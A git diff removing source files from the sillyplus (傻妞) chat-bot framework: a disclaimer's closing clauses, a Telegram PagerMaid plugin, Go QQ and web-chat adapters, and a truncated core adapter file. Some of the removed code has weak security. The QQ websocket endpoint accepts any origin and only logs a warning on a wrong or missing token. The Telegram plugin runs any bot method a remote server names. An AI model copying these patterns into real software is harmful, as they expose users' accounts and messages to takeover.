6. 您承诺秉着合法、合理的原则使用傻妞框架,不利用傻妞框架进行任何违法、侵害他人合法利益等恶意的行为,亦不将傻妞框架运用于任何违反我国法律法规的 Web 平台。
|
||||
7. 任何单位或个人因下载使用傻妞框架而产生的任何意外、疏忽、合约毁坏、诽谤、版权或知识产权侵犯及其造成的损失 (包括但不限于直接、间接、附带或衍生的损失等),本团队不承担任何法律责任。
|
||||
8. 用户明确并同意本声明条款列举的全部内容,对使用傻妞框架可能存在的风险和相关后果将完全由用户自行承担,本团队不承担任何法律责任。
|
||||
9. 任何单位或个人在阅读本免责声明后,应在法律所允许的范围内进行合法的发布、传播和使用傻妞框架等行为,若违反本免责声明条款或违反法律法规所造成的法律责任(包括但不限于民事赔偿和刑事责任),由违约者自行承担。
|
||||
10. 传播:任何公司或个人在网络上发布,传播我们框架的行为都是允许的,但因公司或个人传播框架可能造成的任何法律和刑事事件框架作者不负任何责任。
|
||||
11. 本团队对傻妞框架拥有知识产权(包括但不限于商标权、专利权、著作权、商业秘密等),上述产品均受到相关法律法规的保护。
|
||||
12. 任何单位或个人不得在未经本团队书面授权的情况下对傻妞框架本身申请相关的知识产权。
|
||||
13. 如果本声明的任何部分被认为无效或不可执行,则该部分将被解释为反映本团队的初衷,其余部分仍具有完全效力。不可执行的部分声明,并不构成我们放弃执行该声明的权利。
|
||||
14. 本团队有权随时对本声明条款及附件内容进行单方面的变更,并以消息推送、网页公告等方式予以公布,公布后立即自动生效,无需另行单独通知;若您在本声明内容公告变更后继续使用的,表示您已充分阅读、理解并接受修改后的声明内容。
|
||||
15. 本仓库部分开已开源代码遵循 MIT 开源许可协议。
|
||||
|
||||
@@ -1,171 +0,0 @@
|
||||
import contextlib
|
||||
import json
|
||||
import io
|
||||
|
||||
from asyncio import sleep
|
||||
|
||||
from pagermaid import log
|
||||
from pagermaid.hook import Hook
|
||||
from pagermaid.listener import listener
|
||||
from pagermaid.enums import Message
|
||||
from pagermaid.services import bot
|
||||
from pagermaid.single_utils import sqlite
|
||||
from pagermaid.utils import pip_install
|
||||
from pyrogram.enums.chat_type import ChatType
|
||||
|
||||
|
||||
pip_install("aiohttp")
|
||||
|
||||
import aiohttp
|
||||
|
||||
uri = "${rws()}"
|
||||
|
||||
class WebSocket:
|
||||
def __init__(self):
|
||||
self.uri = uri
|
||||
self.loop = bot.loop
|
||||
self.client = aiohttp.ClientSession(loop=self.loop)
|
||||
self.need_stop = False
|
||||
self.ws = None
|
||||
self.connection = None
|
||||
self.whitelist = []
|
||||
|
||||
@staticmethod
|
||||
def database_have_uri():
|
||||
return uri != ""
|
||||
|
||||
def restore_uri(self):
|
||||
self.uri = uri
|
||||
|
||||
async def set_uri(self, uri):
|
||||
await self.disconnect()
|
||||
self.uri = uri
|
||||
sqlite["websocket_uri"] = uri
|
||||
|
||||
def is_connected(self):
|
||||
return self.connection is not None
|
||||
|
||||
async def connect(self):
|
||||
if self.is_connected():
|
||||
await self.disconnect()
|
||||
if self.uri:
|
||||
self.ws = self.client.ws_connect(
|
||||
self.uri + "&user_id=" + str(bot.me.id),
|
||||
autoclose=False,
|
||||
autoping=False,
|
||||
timeout=5,
|
||||
)
|
||||
self.connection = await self.ws._coro
|
||||
|
||||
async def disconnect(self):
|
||||
if self.connection:
|
||||
with contextlib.suppress(Exception):
|
||||
await self.connection.close()
|
||||
self.ws = None
|
||||
self.connection = None
|
||||
|
||||
async def keep_alive(self):
|
||||
while True:
|
||||
try:
|
||||
if not self.uri:
|
||||
await sleep(1)
|
||||
continue
|
||||
await self.connect()
|
||||
except Exception:
|
||||
await sleep(1)
|
||||
continue
|
||||
await self.get()
|
||||
await sleep(1)
|
||||
if self.need_stop:
|
||||
await self.disconnect()
|
||||
self.need_stop = False
|
||||
break
|
||||
|
||||
async def get(self):
|
||||
ws_ = self.connection
|
||||
if not ws_:
|
||||
return
|
||||
while True:
|
||||
msg = await ws_.receive()
|
||||
if msg.type == aiohttp.WSMsgType.TEXT:
|
||||
bot.loop.create_task(self.process_message(msg.data))
|
||||
elif msg.type == aiohttp.WSMsgType.PING:
|
||||
await ws_.pong()
|
||||
elif msg.type == aiohttp.WSMsgType.BINARY:
|
||||
pass
|
||||
elif msg.type != aiohttp.WSMsgType.PONG:
|
||||
if msg.type == aiohttp.WSMsgType.CLOSE:
|
||||
await ws_.close()
|
||||
elif msg.type == aiohttp.WSMsgType.ERROR:
|
||||
print(f"Error during receive {ws_.exception()}")
|
||||
break
|
||||
self.ws = None
|
||||
self.connection = None
|
||||
|
||||
async def push(self, msg):
|
||||
if self.is_connected():
|
||||
await self.connection.send_str(msg)
|
||||
|
||||
@staticmethod
|
||||
async def process_message(text: str):
|
||||
try:
|
||||
data = json.loads(text)
|
||||
except Exception:
|
||||
return
|
||||
if data['action'] == "set_whitelist":
|
||||
ws.whitelist = data['data']
|
||||
return
|
||||
echo = data.get("echo", "")
|
||||
action = data.get("action", None)
|
||||
action_data = data.get("data", None)
|
||||
bot_action = getattr(bot, action)
|
||||
if action == "send_document":
|
||||
action_data['document'] = io.BytesIO(str.encode(action_data['document']))
|
||||
|
||||
if bot_action and action_data:
|
||||
message = await bot_action(**action_data)
|
||||
message = str(message.__str__())
|
||||
message = message.replace("{", '{"echo": "' + str(echo) + '",', 1)
|
||||
await ws.push(message)
|
||||
|
||||
|
||||
ws = WebSocket()
|
||||
|
||||
|
||||
@Hook.on_startup()
|
||||
async def connect_ws():
|
||||
try:
|
||||
# await ws.connect()
|
||||
bot.loop.create_task(ws.keep_alive())
|
||||
except Exception as e:
|
||||
await log(f"[ws] Connection failed: {e}")
|
||||
|
||||
|
||||
@listener(incoming=True, outgoing=False, ignore_edited=True)
|
||||
async def websocket_push(message: Message):
|
||||
with contextlib.suppress(Exception):
|
||||
if message.chat and message.chat.type in [
|
||||
ChatType.GROUP,
|
||||
ChatType.SUPERGROUP,
|
||||
ChatType.CHANNEL,
|
||||
]:
|
||||
if not ws.whitelist or ((message.chat and str(message.chat.id) not in ws.whitelist) and (message.from_user and str(message.from_user.id) not in ws.whitelist)):
|
||||
if message.text not in [
|
||||
"reply",
|
||||
"listen",
|
||||
"nolisten",
|
||||
"unlisten",
|
||||
"noreply",
|
||||
"unreply",
|
||||
]:
|
||||
return
|
||||
await ws.push(message.__str__())
|
||||
|
||||
|
||||
@listener(command="sillyplus", description="sillyplus Connect")
|
||||
async def websocket_to_connect(message: Message):
|
||||
if ws.is_connected():
|
||||
return await message.edit("傻+ 已连接")
|
||||
else:
|
||||
return await message.edit("傻+ 已离线")
|
||||
|
||||
@@ -1,313 +0,0 @@
|
||||
package qq
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core"
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var qq = core.MakeBucket("qq")
|
||||
|
||||
type Result struct {
|
||||
Data struct {
|
||||
MessageID interface{} `json:"message_id"`
|
||||
} `json:"data"`
|
||||
Echo string `json:"echo"`
|
||||
}
|
||||
|
||||
type GroupList struct {
|
||||
Retcode int `json:"retcode"`
|
||||
Status string `json:"status"`
|
||||
Data []struct {
|
||||
GroupID int `json:"group_id"`
|
||||
GroupName string `json:"group_name"`
|
||||
// MemberCount int `json:"member_count"`
|
||||
// MaxMemberCount int `json:"max_member_count"`
|
||||
// OwnerID int `json:"owner_id"`
|
||||
// LastJoinTime int `json:"last_join_time"`
|
||||
// ShutupTimeWhole int `json:"shutup_time_whole"`
|
||||
// ShutupTimeMe int `json:"shutup_time_me"`
|
||||
// AdminFlag bool `json:"admin_flag"`
|
||||
// UpdateTime int `json:"update_time"`
|
||||
} `json:"data"`
|
||||
Error interface{} `json:"error"`
|
||||
Echo string `json:"echo"`
|
||||
}
|
||||
|
||||
type CallApi struct {
|
||||
Action string `json:"action"`
|
||||
Echo string `json:"echo"`
|
||||
Params map[string]interface{} `json:"params"`
|
||||
}
|
||||
|
||||
type sender struct {
|
||||
Nickname string `json:"nickname"`
|
||||
}
|
||||
|
||||
type Message struct {
|
||||
GroupID interface{} `json:"group_id"`
|
||||
Message string `json:"message"`
|
||||
MessageID interface{} `json:"message_id"`
|
||||
MessageType string `json:"message_type"`
|
||||
PostType string `json:"post_type"`
|
||||
RawMessage string `json:"raw_message"`
|
||||
SelfID interface{} `json:"self_id"`
|
||||
Sender sender `json:"sender"`
|
||||
// SubType string `json:"sub_type"`
|
||||
Time int `json:"time"`
|
||||
UserID interface{} `json:"user_id"`
|
||||
}
|
||||
|
||||
type GroupInfo struct {
|
||||
GroupID string `json:"group_id"`
|
||||
GroupName string `json:"group_name"`
|
||||
}
|
||||
|
||||
type QQ struct {
|
||||
conn *websocket.Conn
|
||||
sync.RWMutex
|
||||
id int
|
||||
chans map[string]chan string
|
||||
}
|
||||
|
||||
func (qq *QQ) WriteJSON(ca CallApi) (string, error) {
|
||||
var err error
|
||||
cy := make(chan string, 1)
|
||||
defer close(cy)
|
||||
func() {
|
||||
qq.Lock()
|
||||
defer qq.Unlock()
|
||||
qq.id++
|
||||
ca.Echo = fmt.Sprint(qq.id)
|
||||
qq.chans[ca.Echo] = cy
|
||||
err = qq.conn.WriteJSON(ca)
|
||||
}()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
select {
|
||||
case v := <-cy:
|
||||
return v, nil
|
||||
case <-time.After(time.Second * 60):
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
var debug = qq.GetBool("debug", false)
|
||||
|
||||
func init() {
|
||||
storage.Watch(qq, "debug", func(old, new, key string) *storage.Final {
|
||||
now := ""
|
||||
if new == "true" {
|
||||
now = "true"
|
||||
debug = true
|
||||
} else {
|
||||
now = "false"
|
||||
debug = false
|
||||
}
|
||||
return &storage.Final{
|
||||
Now: now,
|
||||
}
|
||||
})
|
||||
go func() {
|
||||
core.GinApi(core.GET, "/qq/receive", func(c *gin.Context) {
|
||||
auth := c.GetHeader("Authorization")
|
||||
token := qq.GetString("access_token")
|
||||
if token == "" {
|
||||
token = qq.GetString("token")
|
||||
}
|
||||
if token != "" && !strings.Contains(auth, token) {
|
||||
core.Logs.Warn("Onebot机器人access_token不正确,小心有人攻击你的傻妞!!!%s ? %s", token, auth)
|
||||
}
|
||||
if token == "" {
|
||||
core.Logs.Warn(`你需要在Onebot机器人配置access_token以及在傻妞配置对应的参数(set qq access_token ?)才能保证连接安全,如果不设置将会造成信息泄露和资产损失!!!`)
|
||||
}
|
||||
var upGrader = websocket.Upgrader{
|
||||
CheckOrigin: func(r *http.Request) bool {
|
||||
return true
|
||||
},
|
||||
}
|
||||
ws, err := upGrader.Upgrade(c.Writer, c.Request, nil)
|
||||
if err != nil {
|
||||
c.Writer.Write([]byte(err.Error()))
|
||||
return
|
||||
}
|
||||
botID := c.GetHeader("X-Self-ID")
|
||||
qqcon := &QQ{
|
||||
conn: ws,
|
||||
chans: make(map[string]chan string),
|
||||
}
|
||||
adapter := &core.Factory{}
|
||||
adapter.Init("qq", botID, nil)
|
||||
defer adapter.Destroy()
|
||||
// adapter.SetGroupKick(func(uid string, gid string, reject_add_request bool) bool {
|
||||
// qqcon.WriteJSON(CallApi{
|
||||
// Action: "set_group_kick",
|
||||
// Params: map[string]interface{}{
|
||||
// "group_id": utils.Int(gid),
|
||||
// "user_id": utils.Int(uid),
|
||||
// "reject_add_request": reject_add_request,
|
||||
// },
|
||||
// })
|
||||
// return true
|
||||
// })
|
||||
// adapter.SetGroupBan(func(uid string, gid string, duration int) bool {
|
||||
// qqcon.WriteJSON(CallApi{
|
||||
// Action: "set_group_ban",
|
||||
// Params: map[string]interface{}{
|
||||
// "group_id": utils.Int(gid),
|
||||
// "user_id": utils.Int(uid),
|
||||
// "duration": duration,
|
||||
// },
|
||||
// })
|
||||
// return true
|
||||
// })
|
||||
// adapter.SetGroupUnban(func(uid string, gid string) bool {
|
||||
// qqcon.WriteJSON(CallApi{
|
||||
// Action: "set_group_ban",
|
||||
// Params: map[string]interface{}{
|
||||
// "group_id": utils.Int(gid),
|
||||
// "user_id": utils.Int(uid),
|
||||
// "duration": 1,
|
||||
// },
|
||||
// })
|
||||
// return true
|
||||
// })
|
||||
adapter.SetReplyHandler(func(msg map[string]interface{}) string {
|
||||
if debug {
|
||||
logs.Debug("QQ发送消息:", string(utils.JsonMarshal(msg)))
|
||||
}
|
||||
if utils.IsZeroOrEmpty(msg[core.CHAT_ID].(string)) {
|
||||
params := map[string]interface{}{
|
||||
"user_id": msg[core.USER_ID],
|
||||
"message": msg[core.CONETNT],
|
||||
}
|
||||
if debug {
|
||||
logs.Debug("QQ实际私聊:", string(utils.JsonMarshal(params)))
|
||||
}
|
||||
id, err := qqcon.WriteJSON(CallApi{
|
||||
Action: "send_private_msg",
|
||||
Params: params,
|
||||
})
|
||||
if err != nil {
|
||||
core.Logs.Warn("QQ发送私聊消息错误:", err)
|
||||
}
|
||||
return id
|
||||
} else {
|
||||
// {"params":{"user_id":"798731886","message":"2023-06-29 13:44:05","group_id":"178583761"},"action":"send_group_msg"}
|
||||
params := map[string]interface{}{
|
||||
"group_id": msg[core.CHAT_ID],
|
||||
"user_id": msg[core.USER_ID],
|
||||
"message": msg[core.CONETNT],
|
||||
}
|
||||
if debug {
|
||||
logs.Debug("QQ实际群聊:", string(utils.JsonMarshal(params)))
|
||||
}
|
||||
id, err := qqcon.WriteJSON(CallApi{
|
||||
Action: "send_group_msg",
|
||||
Params: params,
|
||||
})
|
||||
if err != nil {
|
||||
core.Logs.Warn("QQ发送群组消息错误:", err)
|
||||
}
|
||||
return id
|
||||
}
|
||||
})
|
||||
|
||||
// qqcon.WriteJSON(CallApi{
|
||||
// Action: "get_group_list",
|
||||
// Params: map[string]interface{}{},
|
||||
// })
|
||||
go func() {
|
||||
time.Sleep(time.Second * 3)
|
||||
qqcon.WriteJSON(CallApi{
|
||||
Action: "get_group_list",
|
||||
Params: map[string]interface{}{},
|
||||
})
|
||||
}()
|
||||
|
||||
for {
|
||||
_, data, err := ws.ReadMessage()
|
||||
if err != nil {
|
||||
|
||||
ws.Close()
|
||||
break
|
||||
}
|
||||
|
||||
if debug {
|
||||
logs.Debug("QQ接收消息:", string(data))
|
||||
}
|
||||
|
||||
{
|
||||
res := &GroupList{}
|
||||
json.Unmarshal(data, res)
|
||||
for _, group := range res.Data {
|
||||
core.CreateNickName(&core.Nickname{
|
||||
Group: true,
|
||||
Value: group.GroupName,
|
||||
ID: strconv.Itoa(group.GroupID),
|
||||
Platform: "qq",
|
||||
BotsID: []string{botID},
|
||||
})
|
||||
}
|
||||
}
|
||||
{
|
||||
res := &Result{}
|
||||
json.Unmarshal(data, res)
|
||||
if res.Echo != "" {
|
||||
func() {
|
||||
qqcon.RLock()
|
||||
defer qqcon.RUnlock()
|
||||
if c, ok := qqcon.chans[res.Echo]; ok {
|
||||
c <- fmt.Sprint(res.Data.MessageID)
|
||||
}
|
||||
}()
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
msg := &Message{}
|
||||
json.Unmarshal(data, msg)
|
||||
// if msg.MessageType != "private"} //&& adapter.IsAdapter(botID) {
|
||||
// continue
|
||||
// }
|
||||
if msg.SelfID == msg.UserID {
|
||||
continue
|
||||
}
|
||||
|
||||
msg.RawMessage = strings.ReplaceAll(msg.RawMessage, "\\r", "\n")
|
||||
msg.RawMessage = regexp.MustCompile(`[\n\r]+`).ReplaceAllString(msg.RawMessage, "\n")
|
||||
content := msg.RawMessage
|
||||
content = strings.Replace(content, "amp;", "", -1)
|
||||
content = strings.Replace(content, "[", "[", -1)
|
||||
content = strings.Replace(content, "]", "]", -1)
|
||||
content = strings.Trim(content, " ")
|
||||
_msg := map[string]interface{}{
|
||||
"user_id": utils.Itoa(msg.UserID),
|
||||
"chat_id": core.ChatID(msg.GroupID),
|
||||
"user_name": msg.Sender.Nickname,
|
||||
"chat_name": "",
|
||||
"message_id": utils.Itoa(msg.MessageID),
|
||||
"content": content,
|
||||
}
|
||||
if debug {
|
||||
logs.Debug("QQ处理消息:", string(utils.JsonMarshal(_msg)))
|
||||
}
|
||||
adapter.Receive(_msg)
|
||||
|
||||
}
|
||||
})
|
||||
}()
|
||||
}
|
||||
@@ -1,180 +0,0 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core"
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
type WebMessage struct {
|
||||
UserID string `json:"-"`
|
||||
Type string `json:"t"`
|
||||
Content string `json:"c"`
|
||||
Images []string `json:"m"`
|
||||
}
|
||||
|
||||
var webUsers sync.Map
|
||||
|
||||
func Broadcast2WebUser(content, class string) {
|
||||
webUsers.Range(func(key, value interface{}) bool {
|
||||
wu := value.(*WebUser)
|
||||
if wu.ActivedAt.Add(10 * time.Second).After(time.Now()) {
|
||||
|
||||
wu.GetCarry() <- WebMessage{
|
||||
UserID: key.(string),
|
||||
Content: content,
|
||||
Type: class,
|
||||
}
|
||||
} else {
|
||||
webUsers.Delete(key)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
type WebUser struct {
|
||||
Carry chan WebMessage
|
||||
sync.RWMutex
|
||||
ActivedAt time.Time
|
||||
}
|
||||
|
||||
func (wu *WebUser) GetCarry() chan WebMessage {
|
||||
wu.RLock()
|
||||
defer wu.RUnlock()
|
||||
return wu.Carry
|
||||
}
|
||||
|
||||
func (wu *WebUser) Active() {
|
||||
wu.Lock()
|
||||
defer wu.Unlock()
|
||||
wu.ActivedAt = time.Now()
|
||||
}
|
||||
|
||||
func (wu *WebUser) GetActivedAt() time.Time {
|
||||
wu.RLock()
|
||||
defer wu.RUnlock()
|
||||
return wu.ActivedAt
|
||||
}
|
||||
|
||||
var webAdmins sync.Map
|
||||
|
||||
var adapter *core.Factory
|
||||
|
||||
var GetUserNumber = func() int {
|
||||
i := 0
|
||||
webUsers.Range(func(key, value any) bool {
|
||||
i++
|
||||
return true
|
||||
})
|
||||
return i
|
||||
}
|
||||
|
||||
func initWebBot() {
|
||||
if adapter == nil {
|
||||
adapter = &core.Factory{}
|
||||
adapter.Init("web", "default", nil)
|
||||
adapter.SetIsAdmin(func(s string) bool {
|
||||
isAdmin, ok := webAdmins.Load(s)
|
||||
if ok {
|
||||
return isAdmin.(bool)
|
||||
}
|
||||
return false
|
||||
})
|
||||
adapter.SetReplyHandler(func(msg map[string]interface{}) string {
|
||||
message := WebMessage{
|
||||
UserID: msg[core.USER_ID].(string),
|
||||
Images: []string{},
|
||||
Type: "chat",
|
||||
Content: msg[core.CONETNT].(string),
|
||||
}
|
||||
sendWebMessage(&message)
|
||||
return ""
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
core.RegistFuncs["Broadcast2WebUser"] = Broadcast2WebUser
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
initWebBot()
|
||||
}()
|
||||
core.GinApi(core.GET, "/api/web_chat", func(ctx *gin.Context) {
|
||||
initWebBot()
|
||||
rid := ctx.Query("rid")
|
||||
ctt := ctx.Query("ctt")
|
||||
token, _ := ctx.Cookie("token")
|
||||
_, err := core.CheckAuth(token)
|
||||
isAdmin := err == nil
|
||||
v, ok := webAdmins.Load(rid)
|
||||
if ok {
|
||||
if v.(bool) != isAdmin {
|
||||
webAdmins.Store(rid, isAdmin)
|
||||
}
|
||||
} else {
|
||||
webAdmins.Store(rid, isAdmin)
|
||||
}
|
||||
if ctt != "" {
|
||||
adapter.Receive(map[string]interface{}{
|
||||
core.USER_ID: rid,
|
||||
core.CONETNT: ctt,
|
||||
})
|
||||
}
|
||||
var wu *WebUser
|
||||
if v, ok := webUsers.Load(rid); ok {
|
||||
wu = v.(*WebUser)
|
||||
} else {
|
||||
wu = &WebUser{
|
||||
Carry: make(chan WebMessage, 1000),
|
||||
}
|
||||
webUsers.Store(rid, wu)
|
||||
}
|
||||
wu.Active()
|
||||
msgs := []WebMessage{}
|
||||
for {
|
||||
select {
|
||||
case msg := <-wu.GetCarry():
|
||||
msgs = append(msgs, msg)
|
||||
case <-time.After(time.Millisecond * 1):
|
||||
goto HELL
|
||||
}
|
||||
}
|
||||
HELL:
|
||||
if len(msgs) == 0 && ctt == "" {
|
||||
select {
|
||||
case msg := <-wu.GetCarry():
|
||||
msgs = append(msgs, msg)
|
||||
case <-time.After(time.Second * 4):
|
||||
break
|
||||
}
|
||||
}
|
||||
ctx.JSON(200, msgs)
|
||||
})
|
||||
}
|
||||
|
||||
var sendWebMessage = func(message *WebMessage) {
|
||||
message.Content = regexp.MustCompile(`file=[^\[\]]*,url`).ReplaceAllString(message.Content, "file")
|
||||
for _, v := range regexp.MustCompile(`\[CQ:image,file=([^\[\]]+)\]`).FindAllStringSubmatch(message.Content, -1) {
|
||||
message.Images = append(message.Images, v[1])
|
||||
message.Content = strings.Replace(message.Content, fmt.Sprintf(`[CQ:image,file=%s]`, v[1]), "", -1)
|
||||
}
|
||||
v, ok := webUsers.Load(message.UserID)
|
||||
var wu *WebUser
|
||||
if !ok {
|
||||
wu = &WebUser{
|
||||
Carry: make(chan WebMessage, 1000),
|
||||
}
|
||||
webUsers.Store(message.UserID, wu)
|
||||
wu.Active()
|
||||
} else {
|
||||
wu = v.(*WebUser)
|
||||
}
|
||||
go func() {
|
||||
wu.GetCarry() <- *message
|
||||
}()
|
||||
}
|
||||
-963
@@ -1,963 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"reflect"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/dop251/goja"
|
||||
)
|
||||
|
||||
type Message map[string]string
|
||||
|
||||
type Details struct {
|
||||
Content string
|
||||
UserID string
|
||||
ChatID string
|
||||
Username string
|
||||
Chatname string
|
||||
MessageID string
|
||||
}
|
||||
|
||||
type CustomSender struct {
|
||||
BaseSender
|
||||
details Details
|
||||
F *Factory
|
||||
}
|
||||
|
||||
type MsgChan struct {
|
||||
Chan chan string
|
||||
Msg map[string]interface{}
|
||||
}
|
||||
|
||||
type GMsgChan struct {
|
||||
Chan chan map[string]interface{}
|
||||
Msgs []map[string]interface{}
|
||||
UpdateTime time.Time
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type Factory struct {
|
||||
botid string
|
||||
botplt string
|
||||
uuid string
|
||||
msgChan chan MsgChan
|
||||
demo *CustomSender
|
||||
reply func(map[string]interface{}) string
|
||||
action func(map[string]interface{}) string
|
||||
lm chan bool
|
||||
nm int64
|
||||
isAdmin func(string) bool
|
||||
vm *goja.Runtime
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
destroid bool ////已关闭
|
||||
errorTimes int
|
||||
Res *Response
|
||||
umod bool //类似订阅号一对一被动消息模式
|
||||
gmsgChan sync.Map
|
||||
sync.RWMutex
|
||||
}
|
||||
|
||||
type Bot [2]string //botplt botid
|
||||
|
||||
var Bots = map[Bot]*Factory{}
|
||||
var BotsLocker sync.RWMutex
|
||||
|
||||
var ErrNotFind = errors.New("adapter not find")
|
||||
|
||||
func DestroyAdapterByUUID(uuid string) {
|
||||
// BotsLocker.RLock()
|
||||
// defer BotsLocker.RUnlock()
|
||||
// for i := range Bots {
|
||||
// if Bots[i].uuid == uuid {
|
||||
// go Bots[i].Destroy()
|
||||
// }
|
||||
// }
|
||||
}
|
||||
|
||||
func GetMessageByUUID(uuid string) string {
|
||||
ss := []string{""}
|
||||
BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
for i, bot := range Bots {
|
||||
plt, id := i[0], i[1]
|
||||
// fmt.Println("plt", plt, "id", id, botplt, bots_id)
|
||||
if bot.uuid == uuid {
|
||||
ss[0] = plt
|
||||
ss = append(ss, id)
|
||||
}
|
||||
}
|
||||
if len(ss) == 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.Join(ss, " ")
|
||||
}
|
||||
|
||||
func GetAdapter(botplt string, bots_id ...string) (*Factory, error) {
|
||||
|
||||
var bots = []*Factory{}
|
||||
var select_bots = []*Factory{}
|
||||
var tries = 0
|
||||
Try:
|
||||
func() {
|
||||
BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
for i := range Bots {
|
||||
plt, id := i[0], i[1]
|
||||
for j := range bots_id {
|
||||
if plt == botplt && bots_id[j] == id {
|
||||
select_bots = append(select_bots, Bots[i])
|
||||
}
|
||||
if plt == botplt {
|
||||
bots = append(bots, Bots[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
if len(bots) == 0 {
|
||||
if tries < 8 {
|
||||
tries++
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
goto Try
|
||||
}
|
||||
return nil, ErrNotFind
|
||||
}
|
||||
if len(select_bots) != 0 {
|
||||
i := rand.Intn(len(select_bots))
|
||||
return select_bots[i], nil
|
||||
}
|
||||
i := rand.Intn(len(bots))
|
||||
return bots[i], ErrNotFind
|
||||
}
|
||||
|
||||
func GetAdapters(botplt string, bots_id ...string) ([]*Factory, error) {
|
||||
BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
var bots = []*Factory{}
|
||||
var select_bots = []*Factory{}
|
||||
for i := range Bots {
|
||||
plt, id := i[0], i[1]
|
||||
// fmt.Println("plt", plt, "id", id, botplt, bots_id)
|
||||
for j := range bots_id {
|
||||
if plt == botplt && bots_id[j] == id {
|
||||
select_bots = append(select_bots, Bots[i])
|
||||
}
|
||||
if plt == botplt {
|
||||
bots = append(bots, Bots[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(bots) == 0 {
|
||||
return nil, ErrNotFind
|
||||
}
|
||||
if len(select_bots) != 0 {
|
||||
return select_bots, nil
|
||||
}
|
||||
return bots, ErrNotFind
|
||||
}
|
||||
|
||||
func GetAdapterBotsID(botplt string) []string {
|
||||
BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
var bots_id = []string{}
|
||||
for i := range Bots {
|
||||
// fmt.Println("==", botplt == i[0], botplt, i[0])
|
||||
if botplt == i[0] {
|
||||
bots_id = append(bots_id, i[1])
|
||||
}
|
||||
}
|
||||
return bots_id
|
||||
}
|
||||
func GetAdapterBotPlts() []string {
|
||||
BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
var bot_plts = []string{}
|
||||
for i := range Bots {
|
||||
// fmt.Println("==", botplt == i[0], botplt, i[0])
|
||||
has := false
|
||||
for _, bot_plt := range bot_plts {
|
||||
if bot_plt == i[0] {
|
||||
has = true
|
||||
}
|
||||
}
|
||||
if !has {
|
||||
bot_plts = append(bot_plts, i[0])
|
||||
}
|
||||
}
|
||||
return bot_plts
|
||||
}
|
||||
|
||||
func (f *Factory) Init(botplt, botid string, params map[string]interface{}) {
|
||||
// fmt.Println(params)
|
||||
if params != nil {
|
||||
if _, ok := params["umod"]; ok {
|
||||
f.umod = true
|
||||
}
|
||||
}
|
||||
// fmt.Println("umod", f.umod)
|
||||
f.ctx, f.cancel = context.WithCancel(context.Background())
|
||||
BotsLocker.Lock()
|
||||
defer BotsLocker.Unlock()
|
||||
f.botplt = botplt
|
||||
f.botid = botid
|
||||
f.msgChan = make(chan MsgChan, 100000)
|
||||
f.demo = &CustomSender{
|
||||
F: f,
|
||||
}
|
||||
if v, ok := Bots[[2]string{botplt, botid}]; ok {
|
||||
if v.uuid != f.uuid {
|
||||
go v.Destroy()
|
||||
}
|
||||
//
|
||||
console.Warn("%s机器人%s因冲突销毁!", botplt, botid)
|
||||
}
|
||||
Bots[[2]string{botplt, botid}] = f
|
||||
f.lm = make(chan bool, 10)
|
||||
f.nm = 0
|
||||
if botid != "" {
|
||||
botid = fmt.Sprintf("(%s)", botid)
|
||||
}
|
||||
console.Log("%s机器人%s已初始化", botplt, botid)
|
||||
go func() {
|
||||
if f.uuid != "" {
|
||||
su := &ScriptUtils{
|
||||
script: plugins.GetString(f.uuid),
|
||||
}
|
||||
str := su.GetValue("message")
|
||||
ss := regexp.MustCompile(`\S+`).FindAllString(str, -1)
|
||||
if len(ss) == 0 {
|
||||
ss = []string{f.botplt}
|
||||
}
|
||||
if ss[0] != f.botplt {
|
||||
ss = []string{f.botplt}
|
||||
}
|
||||
nss := utils.Unique(ss, f.botid)
|
||||
nstr := strings.Join(nss, " ")
|
||||
if str != nstr {
|
||||
su.SetValue("message", nstr)
|
||||
plugins.Set(f.uuid, su.script)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (f *Factory) Fail() int {
|
||||
f.errorTimes++
|
||||
if f.errorTimes > 5 {
|
||||
go f.Destroy()
|
||||
}
|
||||
return f.errorTimes
|
||||
}
|
||||
|
||||
func (f *Factory) GetBotID() string {
|
||||
return f.botid
|
||||
}
|
||||
|
||||
func (f *Factory) GetBotId() string {
|
||||
return f.botid
|
||||
}
|
||||
|
||||
func (f *Factory) GetPlatform() string {
|
||||
return f.botplt
|
||||
}
|
||||
|
||||
func (f *Factory) Success() {
|
||||
f.errorTimes = 0
|
||||
}
|
||||
|
||||
func (f *Factory) IsAdapter(botid string) bool {
|
||||
